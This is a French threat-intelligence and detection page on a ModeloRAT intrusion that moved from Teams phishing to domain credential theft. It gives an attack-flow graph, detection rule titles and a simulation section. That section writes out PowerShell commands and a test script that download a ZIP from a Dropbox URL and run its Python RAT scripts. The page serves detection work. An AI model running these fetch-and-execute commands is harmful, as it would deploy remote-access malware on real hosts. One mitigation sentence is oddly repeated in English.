Disséquer une Campagne ModeloRAT, du Phishing par Teams à la Compromission de Domaine
Detection stack
- AIDR
- Alert
- ETL
- Query
Résumé
Rapid7 a analysé une intrusion qui a commencé par un message malveillant sur Microsoft Teams se faisant passer pour le support informatique. L’attaquant a utilisé une charge utile Python hébergée sur Dropbox pour déployer ModeloRAT, escalader les privilèges via CVE-2023-36036, et voler des identifiants de domaine en affichant un faux écran de verrouillage à la victime. La campagne a montré à quelle vitesse un attaquant pouvait passer d’un seul point de terminaison compromis à un vol d’identifiants plus large sur le domaine en s’appuyant sur des techniques de living-off-the-land. L’incident souligne également le risque croissant que représentent les plateformes de collaboration en tant que vecteur d’accès initial.
Enquête
L’enquête a suivi toute la chaîne d’attaque, de la conversation initiale sur Teams à un dispositif de mise en scène PowerShell qui téléchargeait une archive ZIP depuis Dropbox, décompressait un environnement Python portable, et lançait collector.py and Pmanager.py. Ensuite, ModeloRAT établissait une communication par balisage HTTP avec plusieurs serveurs de commande et contrôle, effectuait une reconnaissance de l’hôte, et utilisait rundll32 pour déclencher une exploitation du noyau qui accordait un accès de niveau SYSTEM. La persistance était maintenue grâce à une tâche planifiée, et les attaquants déployaient des composants de porte dérobée supplémentaires pendant l’intrusion.
Atténuation
Les organisations devraient appliquer des contrôles stricts sur l’accès externe dans Microsoft Teams, surveiller les activités inhabituelles de PowerShell et Python, bloquer les URL Dropbox malveillantes connues, et s’assurer que les systèmes sont corrigés contre CVE-2023-36036. Des politiques de contrôle des applications qui restreignent l’utilisation non autorisée peuvent aider à réduire le risque d’exploitation. Les équipes de sécurité devraient également surveiller les comportements de faux écran de verrouillage et d’autres signes d’activités de récolte d’identifiants sur les points de terminaison. rundll32 usage can help reduce exploitation risk. Security teams should also watch for fake lock-screen behavior and other signs of credential-harvesting activity on endpoints.
Réponse
Si cette activité est détectée, isolez immédiatement le point de terminaison affecté, révoquez les identifiants de l’utilisateur compromis et réinitialisez les mots de passe de domaine impactés. Les enquêteurs devraient collecter des captures de mémoire complètes, y compris les preuves liées à LSASS, le cas échéant, rechercher des artefacts de ModeloRAT, et supprimer toute tâche planifiée malveillante ou mécanisme de persistance. Les paramètres du locataire Teams devraient également être examinés, et le chat externe désactivé s’il n’est pas nécessaire opérationnellement.
"graph TB %% Définitions des classes classDef action fill:#ffcccc classDef tool fill:#cce5ff classDef malware fill:#e6ffcc classDef process fill:#ffd9b3 classDef file fill:#f2e6ff %% Nœuds d’action action_phishing["<b>Action</b> – <b>T1566.003 Hameçonnage : Hameçonnage ciblé via un service</b><br/>Message Microsoft Teams prétendant être le support informatique avec un lien malveillant."] class action_phishing action action_impersonation["<b>Action</b> – <b>T1656 Usurpation d’identité</b><br/>Compte de support informatique factice créé pour paraître légitime."] class action_impersonation action action_content_injection["<b>Action</b> – <b>T1659 Injection de contenu</b><br/>Le message contient une commande PowerShell qui démarre la chaîne d’infection."] class action_content_injection action action_user_execution["<b>Action</b> – <b>T1204 Exécution par l’utilisateur</b><br/>La victime clique sur le lien ou copie-colle le dispositif de mise en scène de PowerShell."] class action_user_execution action action_software_discovery["<b>Action</b> – <b>T1518 Découverte de logiciels</b><br/>collector.py énumère les logiciels installés, les correctifs et la configuration."] class action_software_discovery action action_security_discovery["<b>Action</b> – <b>T1518.001 Découverte de logiciels de sécurité</b><br/>Le script vérifie les processus AV tels que SecurityHealthHost.exe."] class action_security_discovery action action_system_info["<b>Action</b> – <b>T1082 Découverte d’informations système</b><br/>systeminfo, whoami et d’autres commandes rassemblent les détails de l’hôte."] class action_system_info action action_dll_loading["<b>Action</b> – <b>T1176 Extensions logicielles</b><br/>rundll32.exe charge des DLL malveillantes (ssss.dll, com6848.dll)."] class action_dll_loading action action_priv_esc["<b>Action</b> – <b>T1068 Exploitation pour élévation de privilèges</b><br/>Exploitez CVEu20112023u201136036 dans cldflt.sys pour obtenir un jeton SYSTEM."] class action_priv_esc action action_defense_evasion["<b>Action</b> – <b>T1211 Exploitation pour évasion défensive</b><br/>L’exploitation du noyau contourne les contrôles de sécurité."] class action_defense_evasion action action_persistence_active_setup["<b>Action</b> – <b>T1547.014 Persistance par configuration active</b><br/>Les clés de registre sous SyncRootManager enregistrent un fournisseur de synchronisation en nuage malveillant."] class action_persistence_active_setup action action_event_triggered["<b>Action</b> – <b>T1546 Exécution déclenchée par un événement</b><br/>Le fournisseur de synchronisation agit comme un mécanisme de persistance déclenché par un événement."] class action_event_triggered action action_scheduled_task["<b>Action</b> – <b>T1053 Tâche planifiée</b><br/>La tâche quotidienne TempLogA exécute internal.py avec des privilèges SYSTEM."] class action_scheduled_task action action_path_interception["<b>Action</b> – <b>T1574.007 Interception de chemin</b><br/>Le répertoire Python portable est placé tôt dans le PATH pour garantir l’exécution."] class action_path_interception action action_c2_http["<b>Action</b> – <b>T1071.001 Protocole de couche d’application : Protocoles web</b><br/>ModeloRAT communique avec les serveurs C2 sur le port 80 HTTP."] class action_c2_http action action_nonstandard_port["<b>Action</b> – <b>T1571 Port non standard</b><br/>Des canaux de shell inversé supplémentaires utilisent les ports 50508 et 60503."] class action_nonstandard_port action action_winrm["<b>Action</b> – <b>T1563 Détournement de session de service à distance</b><br/>L’attaquant ouvre une session WinRM sur un second hôte pour le déploiement d’outils."] class action_winrm action action_rdp["<b>Action</b> – <b>T1078.002 Comptes valides : Comptes de domaine</b><br/>Identifiants récoltés utilisés pour les connexions RDP."] class action_rdp action action_kerberoasting["<b>Action</b> – <b>T1558.003 Kerberoasting</b><br/>Les demandes de tickets de service génèrent des empreintes d’identifiants."] class action_kerberoasting action action_os_credential_dump["<b>Action</b> – <b>T1003 Vidage d’identifiants OS</b><br/>DumpIt.exe capture la mémoire y compris LSASS."] class action_os_credential_dump action action_unsecured_credentials["<b>Action</b> – <b>T1552.001 Identifiants non sécurisés</b><br/>Une DLL de faux écran de verrouillage enregistre les mots de passe capturés sur le disque."] class action_unsecured_credentials action action_window_discovery["<b>Action</b> – <b>T1010 Découverte de fenêtres d’application</b><br/>Une réplique d’écran de verrouillage imite l’écran de verrouillage Windows pour capturer l’entrée."] class action_window_discovery action action_bits_job["<b>Action</b> – <b>T1197 Travaux BITS</b><br/>DumpIt téléchargé et exécuté via BITS."] class action_bits_job action %% Nœuds Outil / Fichier / Malware tool_powershell["<b>Outil</b> – <b>Nom</b>: PowerShell<br/><b>Description</b>: Exécute la commande de mise en scène initiale."] class tool_powershell tool tool_python["<b>Outil</b> – <b>Nom</b>: Python portable (pythonw.exe)<br/><b>Description</b>: Exécute collector.py et Pmanager.py."] class tool_python tool tool_rundll32["<b>Outil</b> – <b>Nom</b>: rundll32.exe<br/><b>Description</b>: Charge des charges utiles DLL malveillantes."] class tool_rundll32 tool tool_dumpit["<b>Outil</b> – <b>Nom</b>: DumpIt.exe<br/><b>Description</b>: Utilitaire d’acquisition de la mémoire."] class tool_dumpit tool malware_collector["<b>Logiciel malveillant</b> – <b>Nom</b>: collector.py<br/><b>Description</b>: Script Python initial qui effectue la découverte et lance d’autres modules."] class malware_collector malware malware_pmanager["<b>Logiciel malveillant</b> – <b>Nom</b>: Pmanager.py (ModeloRAT)<br/><b>Description</b>: Cheval de Troie d’accès à distance communiquant avec C2."] class malware_pmanager malware file_ssss_dll["<b>Fichier</b> – <b>Nom</b>: ssss.dll<br/><b>Description</b>: DLL malveillante chargée pour l’escalade."] class file_ssss_dll file file_com6848_dll["<b>Fichier</b> – <b>Nom</b>: com6848.dll<br/><b>Description</b>: DLL malveillante chargée pour la récolte d’identifiants."] class file_com6848_dll file file_lockdll["<b>Fichier</b> – <b>Nom</b>: lockscreen.dll<br/><b>Description</b>: Faux écran de verrouillage qui enregistre les mots de passe."] class file_lockdll file %% Connexions – Flux d’attaque action_phishing –>|utilise| action_impersonation action_impersonation –>|délivre| action_content_injection action_content_injection –>|déclenche| action_user_execution action_user_execution –>|exécute| tool_powershell tool_powershell –>|lance| tool_python tool_python –>|exécute| malware_collector tool_python –>|exécute| malware_pmanager malware_collector –>|effectue| action_software_discovery malware_collector –>|effectue| action_security_discovery malware_collector –>|effectue| action_system_info malware_pmanager –>|charge| tool_rundll32 tool_rundll32 –>|charge| file_ssss_dll tool_rundll32 –>|charge| file_com6848_dll file_ssss_dll –>|active| action_priv_esc file_com6848_dll –>|active| action_priv_esc action_priv_esc –>|fournit| action_defense_evasion action_defense_evasion –>|établit| action_persistence_active_setup action_persistence_active_setup –>|crée| action_event_triggered action_event_triggered –>|crée| action_scheduled_task action_scheduled_task –>|se base sur| action_path_interception action_path_interception –>|assure l’exécution de| malware_pmanager malware_pmanager –>|communique via| action_c2_http malware_pmanager –>|utilise| action_nonstandard_port malware_pmanager –>|ouvre| action_winrm action_winrm –>|facilite| action_rdp action_rdp –>|exploite| action_kerberoasting action_kerberoasting –>|fournit des identifiants pour| action_os_credential_dump action_os_credential_dump –>|exécuté par| tool_dumpit tool_dumpit –>|délivré via| action_bits_job action_bits_job –>|soutient| action_os_credential_dump action_unsecured_credentials –>|implémenté par| file_lockdll file_lockdll –>|capture via| action_window_discovery action_window_discovery –>|écrit sur| action_unsecured_credentials %% Style class action_phishing,action_impersonation,action_content_injection,action_user_execution,action_software_discovery,action_security_discovery,action_system_info,action_dll_loading,action_priv_esc,action_defense_evasion,action_persistence_active_setup,action_event_triggered,action_scheduled_task,action_path_interception,action_c2_http,action_nonstandard_port,action_winrm,action_rdp,action_kerberoasting,action_os_credential_dump,action_unsecured_credentials,action_window_discovery,action_bits_job action class tool_powershell,tool_python,tool_rundll32,tool_dumpit tool class malware_collector,malware_pmanager malware class file_ssss_dll,file_com6848_dll,file_lockdll file "
Flux d’attaque
Détections
Possibilité d’énumération du système (via ligne de commande)
Voir
Possibilité d’énumération ou de manipulation de compte ou de groupe (via ligne de commande)
Voir
Schtasks pointe vers un répertoire / binaire / script suspect (via ligne de commande)
Voir
Possibilité de fuite d’identifiants NTLM via un chemin UNC externe indésirable (via ligne de commande)
Voir
Une archive a été extraite vers un répertoire suspect utilisant PowerShell (via powershell)
Voir
Possibilité d’énumération Active Directory avec le module AD DirectorySearcher (via powershell)
Voir
IOC (HashSha256) pour détecter : Quand le support informatique appelle : Analyste d’une campagne ModeloRAT, de Teams à la compromission du domaine
Voir
IOC (SourceIP) pour détecter : Quand le support informatique appelle : Analyste d’une campagne ModeloRAT, de Teams à la compromission du domaine
Voir
IOC (DestinationIP) pour détecter : Quand le support informatique appelle : Analyste d’une campagne ModeloRAT, de Teams à la compromission du domaine
Voir
Exécution suspecte de Rundll32 pour élévation de privilèges et récolte d’identifiants [Création de processus Windows]
Voir
Téléchargement PowerShell et exécution de scripts Python malveillants [Windows Powershell]
Voir
Exécution de simulation
Prérequis : Le test pré-vol de télémétrie et de référence doit avoir réussi.
Raison : Cette section détaille l’exécution précise de la technique de l’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit DOIVENT refléter directement les TTPs identifiés et viser à générer la télémétrie exacte attendue par la logique de détection.
-
Récit d’attaque et commandes :
- Première chute : L’attaquant, ayant obtenu une prise sur la station de travail de la victime, lance PowerShell pour récupérer un fichier ZIP malveillant hébergé sur Dropbox. L’URL est codée dans la règle de détection, donc l’attaquant utilise exactement la même chaîne pour garantir la détection (à des fins de validation).
- Extraction : Utilisation du
cmdlet intégré Expand-Archive, l’archive est décompressée directement dans ledossier %APPDATA%de l’utilisateur, un endroit fréquemment ignoré par les défenseurs. - Exécution de la charge utile : Deux scripts Python—
collector.pyandPmanager.py—sont exécutés viapythonw.exe(l’interpréteur « sans fenêtre ») pour éviter les fenêtres de console visibles, permettant une persistance discrète et une exfiltration de données.
Commandes exactes (doivent correspondre à la règle) :
# 1. Télécharger l'archive ZIP iwr -Uri "https://www.dropbox.com/scl/fi/[REDACTED]/vuzggemyofftzpk6.zip?rlkey=elabnna8r5omwglaq4feay6ui&st=op5i7lea&dl=1" -OutFile "$env:APPDATAWinp.zip" # 2. Extraire l'archive Expand-Archive -Path "$env:APPDATAWinp.zip" -DestinationPath "$env:APPDATA" # 3. Exécuter le premier script Python Start-Process "$env:APPDATAWPy64-31401pythonpythonw.exe" -ArgumentList "$env:APPDATAWPy64-31401pythoncollector.py" # 4. Exécuter le second script Python Start-Process "$env:APPDATAWPy64-31401pythonpythonw.exe" -ArgumentList "$env:APPDATAWPy64-31401pythonPmanager.py" -
Script de test de régression :
# ------------------------------------------------- # Test de régression – Imiter le workflow PowerShell de ModeloRAT # ------------------------------------------------- $zipUrl = "https://www.dropbox.com/scl/fi/[REDACTED]/vuzggemyofftzpk6.zip?rlkey=elabnna8r5omwglaq4feay6ui&st=op5i7lea&dl=1" $zipPath = "$env:APPDATAWinp.zip" $extractPath = $env:APPDATA $pythonExe = "$env:APPDATAWPy64-31401pythonpythonw.exe" $collector = "$env:APPDATAWPy64-31401pythoncollector.py" $pmanager = "$env:APPDATAWPy64-31401pythonPmanager.py" # Télécharger Write-Host "[*] Téléchargement du ZIP malveillant..." Invoke-WebRequest -Uri $zipUrl -OutFile $zipPath # Extraire Write-Host "[*] Extraction de l'archive..." Expand-Archive -Path $zipPath -DestinationPath $extractPath -Force # Exécuter collector.py Write-Host "[*] Lancement de collector.py..." Start-Process -FilePath $pythonExe -ArgumentList $collector # Exécuter Pmanager.py Write-Host "[*] Lancement de Pmanager.py..." Start-Process -FilePath $pythonExe -ArgumentList $pmanager Write-Host "[+] Simulation complète. Vérifiez SIEM pour l'alerte." -
Commandes de nettoyage :
# ------------------------------------------------- # Nettoyage – Supprimer les artefacts créés par le test # ------------------------------------------------- $zipPath = "$env:APPDATAWinp.zip" $extractRoot = "$env:APPDATAWPy64-31401" $pythonExe = "$env:APPDATAWPy64-31401pythonpythonw.exe" # Arrêter tout processus pythonw en cours d'exécution de ce test Get-Process -Name pythonw -ErrorAction SilentlyContinue | Where-Object {$_.Path -like "*WPy64-31401*"} | Stop-Process -Force # Supprimer le répertoire extrait if (Test-Path $extractRoot) { Remove-Item -Recurse -Force $extractRoot } # Supprimer le fichier ZIP if (Test-Path $zipPath) { Remove-Item -Force $zipPath } Write-Host "[+] Nettoyage complet."